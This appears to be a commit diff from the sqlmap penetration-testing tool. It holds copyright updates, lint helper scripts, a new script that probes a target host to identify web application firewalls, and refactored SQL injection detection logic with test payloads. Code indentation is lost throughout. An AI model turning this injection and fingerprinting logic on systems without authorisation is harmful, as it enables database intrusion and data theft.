# Skip Microsoft SQL Server 6.5 because the HTML
# table is in another format
if release == "6.5":
continue
# Create the <signatures> base element
signatures = doc.createElement("signatures")
signatures.setAttribute("release", release)
root.appendChild(signatures)
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
if index == releasesCount - 1:
stopIdx = len(mssqlVersionsHtmlString)
else:
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
servicepackVersion = re.findall("</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
for servicePack, version in servicepackVersion:
if servicePack.startswith(" "):
servicePack = servicePack[1:]
if "/" in servicePack:
servicePack = servicePack[:servicePack.index("/")]
if "(" in servicePack:
servicePack = servicePack[:servicePack.index("(")]
if "-" in servicePack:
servicePack = servicePack[:servicePack.index("-")]
if "*" in servicePack:
servicePack = servicePack[:servicePack.index("*")]
if servicePack.startswith("+"):
servicePack = "0%s" % servicePack
servicePack = servicePack.replace("\t", " ")
servicePack = servicePack.replace("No SP", "0")
servicePack = servicePack.replace("RTM", "0")
servicePack = servicePack.replace("TM", "0")
servicePack = servicePack.replace("SP", "")
servicePack = servicePack.replace("Service Pack", "")
servicePack = servicePack.replace("<a href=\"http:", "")
servicePack = servicePack.replace(" ", " ")
servicePack = servicePack.replace("+ ", "+")
servicePack = servicePack.replace(" +", "+")
if servicePack.endswith(" "):
servicePack = servicePack[:-1]
if servicePack and version:
# Create the main <card> element
signature = doc.createElement("signature")
signatures.appendChild(signature)
# Create a <version> element
versionElement = doc.createElement("version")
signature.appendChild(versionElement)
# Give the <version> elemenet some text
versionText = doc.createTextNode(version)
versionElement.appendChild(versionText)
# Create a <servicepack> element
servicepackElement = doc.createElement("servicepack")
signature.appendChild(servicepackElement)
# Give the <servicepack> elemenet some text
servicepackText = doc.createTextNode(servicePack)
servicepackElement.appendChild(servicepackText)
# Save our newly created XML to the signatures file
mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
mssqlXml.close()
infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
print infoMsg
if __name__ == "__main__":
updateMSSQLXML()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -3,7 +3,7 @@
"""
safe2bin.py - Simple safe(hex) to binary format converter
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env python
# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files

30
extra/shutils/newlines.py Normal file
View File

@@ -0,0 +1,30 @@
#! /usr/bin/env python
# Runs pylint on all python scripts found in a directory tree
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
import os
import sys
def check(filepath):
if filepath.endswith(".py"):
content = open(filepath, "rb").read()
if "\n\n\n" in content:
index = content.find("\n\n\n")
print filepath, repr(content[index - 30:index + 30])
if __name__ == "__main__":
try:
BASE_DIRECTORY = sys.argv[1]
except IndexError:
print "no directory specified, defaulting to current working directory"
BASE_DIRECTORY = os.getcwd()
print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
for root, dirs, files in os.walk(BASE_DIRECTORY):
if any(_ in root for _ in ("extra", "thirdparty")):
continue
for name in files:
filepath = os.path.join(root, name)
check(filepath)

View File

@@ -1,7 +0,0 @@
#!/bin/bash
# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Runs pep8 on all python files (prerequisite: apt-get install pep8)
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \;

7
extra/shutils/pycodestyle.sh Executable file
View File

@@ -0,0 +1,7 @@
#!/bin/bash
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \;

View File

@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -25,10 +25,11 @@ from setuptools import setup, find_packages
setup(
name='sqlmap',
version='$VERSION',
description="Automatic SQL injection and database takeover tool",
description='Automatic SQL injection and database takeover tool',
long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.',
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
author_email='bernardo@sqlmap.org, miroslav@sqlmap.org',
url='https://sqlmap.org',
url='http://sqlmap.org',
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
license='GNU General Public License v2 (GPLv2)',
packages=find_packages(),
@@ -60,7 +61,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env python
# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
import codecs
@@ -27,7 +27,7 @@ SMTP_SERVER = "127.0.0.1"
SMTP_PORT = 25
SMTP_TIMEOUT = 30
FROM = "regressiontest@sqlmap.org"
#TO = "dev@sqlmap.org"
# TO = "dev@sqlmap.org"
TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"]
SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
TARGET = "debian"
@@ -83,7 +83,7 @@ def main():
if stderr:
failure_email("Execution of regression test failed with error:\n\n%s" % stderr)
failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
failed_tests = re.findall(r"running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
for failed_test in failed_tests:
title = failed_test[0]

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
pass

View File

@@ -0,0 +1,119 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import cookielib
import glob
import httplib
import inspect
import os
import re
import subprocess
import sys
import urllib2
sys.dont_write_bytecode = True
NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)"
TIMEOUT = 10
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"}
SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf")
LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"}
CACHE = {}
WAF_FUNCTIONS = []
def get_page(get=None, url=None, host=None, data=None):
key = (get, url, host, data)
if key in CACHE:
return CACHE[key]
page, headers, code = None, {}, httplib.OK
url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1])
if not url.startswith("http"):
url = "http://%s" % url
try:
req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS)
conn = urllib2.urlopen(req, timeout=TIMEOUT)
page = conn.read()
headers = conn.info()
except Exception, ex:
code = getattr(ex, "code", None)
page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
headers = ex.info() if hasattr(ex, "info") else {}
result = CACHE[key] = page, headers, code
return result
def colorize(message):
if not subprocess.mswindows and sys.stdout.isatty():
message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message)
message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m")
message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME)
return message
def main():
global WAF_FUNCTIONS
print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))
if len(sys.argv) < 2:
exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1]))
cookie_jar = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
urllib2.install_opener(opener)
sys.path.insert(0, SQLMAP_DIR)
for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")):
dirname, filename = os.path.split(found)
dirname = os.path.abspath(dirname)
if filename == "__init__.py":
continue
if dirname not in sys.path:
sys.path.insert(0, dirname)
try:
if filename[:-3] in sys.modules:
del sys.modules[filename[:-3]]
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8"))
except ImportError, msg:
exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg)))
_ = dict(inspect.getmembers(module))
if "detect" not in _:
exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found))
else:
WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3])))
WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower())
print colorize("[i] %d WAF scripts loaded" % len(WAF_FUNCTIONS))
found = False
for function, product in WAF_FUNCTIONS:
if found and "unknown" in product.lower():
continue
if function(get_page):
print colorize("[!] WAF/IPS identified as '%s'" % product)
found = True
if not found:
print colorize("[o] nothing found")
print
if __name__ == "__main__":
main()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -140,11 +140,11 @@ def action():
conf.dbmsHandler.udfInjectCustom()
# File system options
if conf.rFile:
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile))
if conf.fileRead:
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead))
if conf.wFile:
conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
if conf.fileWrite:
conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
# Operating system options
if conf.osCmd:

View File

@@ -1,17 +1,19 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import copy
import httplib
import logging
import os
import random
import re
import socket
import subprocess
import sys
import tempfile
import time
@@ -42,9 +44,11 @@ from lib.core.common import readInput
from lib.core.common import showStaticWords
from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.common import urlencode
from lib.core.common import wasLastResponseDBMSError
from lib.core.common import wasLastResponseHTTPError
from lib.core.convert import unicodeencode
from lib.core.defaults import defaults
from lib.core.data import conf
from lib.core.data import kb
@@ -52,6 +56,7 @@ from lib.core.data import logger
from lib.core.datatype import AttribDict
from lib.core.datatype import InjectionDict
from lib.core.decorators import cachedmethod
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
@@ -65,10 +70,12 @@ from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.enums import REDIRECTION
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
from lib.core.settings import CHECK_INTERNET_ADDRESS
from lib.core.settings import CHECK_INTERNET_VALUE
@@ -83,9 +90,12 @@ from lib.core.settings import IDS_WAF_CHECK_RATIO
from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.threads import getCurrentThreadData
@@ -108,6 +118,9 @@ def checkSqlInjection(place, parameter, value):
if value.isdigit():
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.intBoundaries
elif value.isalpha():
kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.alphaBoundaries
else:
boundaries = conf.boundaries
@@ -141,8 +154,7 @@ def checkSqlInjection(place, parameter, value):
# error message, simple heuristic check or via DBMS-specific
# payload), ask the user to limit the tests to the fingerprinted
# DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \
SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -151,9 +163,7 @@ def checkSqlInjection(place, parameter, value):
# message, via simple heuristic check or via DBMS-specific
# payload), ask the user to extend the tests to all DBMS-specific,
# regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \
and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \
kb.heuristicDbms or injection.dbms):
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "for the remaining tests, do you want to include all tests "
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg += "level (%d)" % conf.level if conf.level < 5 else ""
@@ -201,7 +211,7 @@ def checkSqlInjection(place, parameter, value):
continue
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match:
if match and injection.data:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
@@ -237,9 +247,7 @@ def checkSqlInjection(place, parameter, value):
# Skip tests if title, vector or DBMS is not included by the
# given test filter
if conf.testFilter and not any(conf.testFilter in str(item) or \
re.search(conf.testFilter, str(item), re.I) for item in \
(test.title, test.vector, payloadDbms)):
if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
debugMsg = "skipping test '%s' because its " % title
debugMsg += "name/vector/DBMS is not included by the given filter"
logger.debug(debugMsg)
@@ -247,9 +255,7 @@ def checkSqlInjection(place, parameter, value):
# Skip tests if title, vector or DBMS is included by the
# given skip filter
if conf.testSkip and any(conf.testSkip in str(item) or \
re.search(conf.testSkip, str(item), re.I) for item in \
(test.title, test.vector, payloadDbms)):
if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
debugMsg = "skipping test '%s' because its " % title
debugMsg += "name/vector/DBMS is included by the given skip filter"
logger.debug(debugMsg)
@@ -281,9 +287,9 @@ def checkSqlInjection(place, parameter, value):
# Skip DBMS-specific test if it does not match the
# previously identified DBMS (via DBMS-specific error message)
if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
debugMsg = "skipping test '%s' because the parsed " % title
debugMsg += "error message(s) showed that the back-end DBMS "
debugMsg += "could be %s" % Format.getErrorParsedDBMSes()
debugMsg = "skipping test '%s' because the heuristic " % title
debugMsg += "tests showed that the back-end DBMS "
debugMsg += "could be '%s'" % unArrayizeValue(kb.reduceTests)
logger.debug(debugMsg)
continue
@@ -331,6 +337,23 @@ def checkSqlInjection(place, parameter, value):
logger.debug(debugMsg)
continue
if stype == PAYLOAD.TECHNIQUE.UNION:
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if match and not injection.data:
_ = test.request.columns.split('-')[-1]
if conf.uCols is None and _.isdigit() and int(_) > 10:
if kb.futileUnion is None:
msg = "it is not recommended to perform "
msg += "extended UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to skip? [Y/n] "
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
if kb.futileUnion is False:
debugMsg = "skipping test '%s'" % title
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title
logger.info(infoMsg)
@@ -340,7 +363,7 @@ def checkSqlInjection(place, parameter, value):
# Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
for boundary in boundaries:
injectable = False
@@ -416,7 +439,7 @@ def checkSqlInjection(place, parameter, value):
if conf.invalidLogical:
_ = int(kb.data.randomInt[:2])
origValue = "%s AND %s=%s" % (value, _, _ + 1)
origValue = "%s AND %s LIKE %s" % (value, _, _ + 1)
elif conf.invalidBignum:
origValue = kb.data.randomInt[:6]
elif conf.invalidString:
@@ -437,11 +460,13 @@ def checkSqlInjection(place, parameter, value):
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
if reqPayload:
if reqPayload in seenPayload:
stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>", reqPayload)
if stripPayload in seenPayload:
continue
else:
seenPayload.add(reqPayload)
seenPayload.add(stripPayload)
else:
reqPayload = None
@@ -449,13 +474,13 @@ def checkSqlInjection(place, parameter, value):
# payload was successful
# Parse test's <response>
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
@@ -493,12 +518,16 @@ def checkSqlInjection(place, parameter, value):
errorResult = Request.queryPage(errorPayload, place, raise404=False)
if errorResult:
continue
elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
_ = comparison(kb.heuristicPage, None, getRatioValue=True)
if _ > kb.matchRatio:
kb.matchRatio = _
logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
# Reducing false-positive "appears" messages in heavily dynamic environment
if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
continue
injectable = True
elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
@@ -506,8 +535,13 @@ def checkSqlInjection(place, parameter, value):
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n"))
else:
errorSet = set()
if originalSet == trueSet != falseSet:
candidates = trueSet - falseSet
candidates = trueSet - falseSet - errorSet
if candidates:
candidates = sorted(candidates, key=lambda _: len(_))
@@ -530,12 +564,18 @@ def checkSqlInjection(place, parameter, value):
logger.info(infoMsg)
else:
trueSet = set(extractTextTagContent(trueRawResponse))
trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())
trueSet |= set(__ for _ in trueSet for __ in _.split())
falseSet = set(extractTextTagContent(falseRawResponse))
falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
falseSet |= set(__ for _ in falseSet for __ in _.split())
candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet)))
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
errorSet |= set(__ for _ in errorSet for __ in _.split())
else:
errorSet = set()
candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)))
if candidates:
candidates = sorted(candidates, key=lambda _: len(_))
@@ -572,10 +612,10 @@ def checkSqlInjection(place, parameter, value):
# body for the test's <grep> regular expression
try:
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, listToStrValue([headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == "1"
@@ -629,11 +669,12 @@ def checkSqlInjection(place, parameter, value):
Backend.forceDbms(kb.dbmsFilter[0])
elif not Backend.getIdentifiedDbms():
if kb.heuristicDbms is None:
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it with option '--dbms'"
singleTimeWarnMessage(warnMsg)
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to "
warnMsg += "explicitly set it with option '--dbms'"
singleTimeWarnMessage(warnMsg)
else:
Backend.forceDbms(kb.heuristicDbms)
@@ -643,18 +684,6 @@ def checkSqlInjection(place, parameter, value):
infoMsg += "there is at least one other (potential) "
infoMsg += "technique found"
singleTimeLogMessage(infoMsg)
elif not injection.data:
_ = test.request.columns.split('-')[-1]
if _.isdigit() and int(_) > 10:
if kb.futileUnion is None:
msg = "it is not recommended to perform "
msg += "extended UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to skip? [Y/n] "
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
if kb.futileUnion is False:
continue
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
@@ -671,7 +700,7 @@ def checkSqlInjection(place, parameter, value):
kb.previousMethod = method
if conf.dummy or conf.offline:
if conf.offline:
injectable = False
# If the injection test was successful feed the injection
@@ -738,7 +767,7 @@ def checkSqlInjection(place, parameter, value):
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg)
process = subprocess.Popen(conf.alert, shell=True)
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait()
kb.alerted = True
@@ -760,7 +789,7 @@ def checkSqlInjection(place, parameter, value):
if conf.multipleTargets:
msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
choice = readInput(msg, default='T', checkBatch=False).upper()
choice = readInput(msg, default='X', checkBatch=False).upper()
else:
msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
choice = readInput(msg, default='S', checkBatch=False).upper()
@@ -813,6 +842,7 @@ def checkSqlInjection(place, parameter, value):
return injection
@stackedmethod
def heuristicCheckDbms(injection):
"""
This functions is called when boolean-based blind is identified with a
@@ -832,8 +862,8 @@ def heuristicCheckDbms(injection):
if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
continue
if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
retVal = dbms
break
@@ -849,6 +879,7 @@ def heuristicCheckDbms(injection):
return retVal
@stackedmethod
def checkFalsePositives(injection):
"""
Checks for false positives (only in single special cases)
@@ -856,8 +887,7 @@ def checkFalsePositives(injection):
retVal = True
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
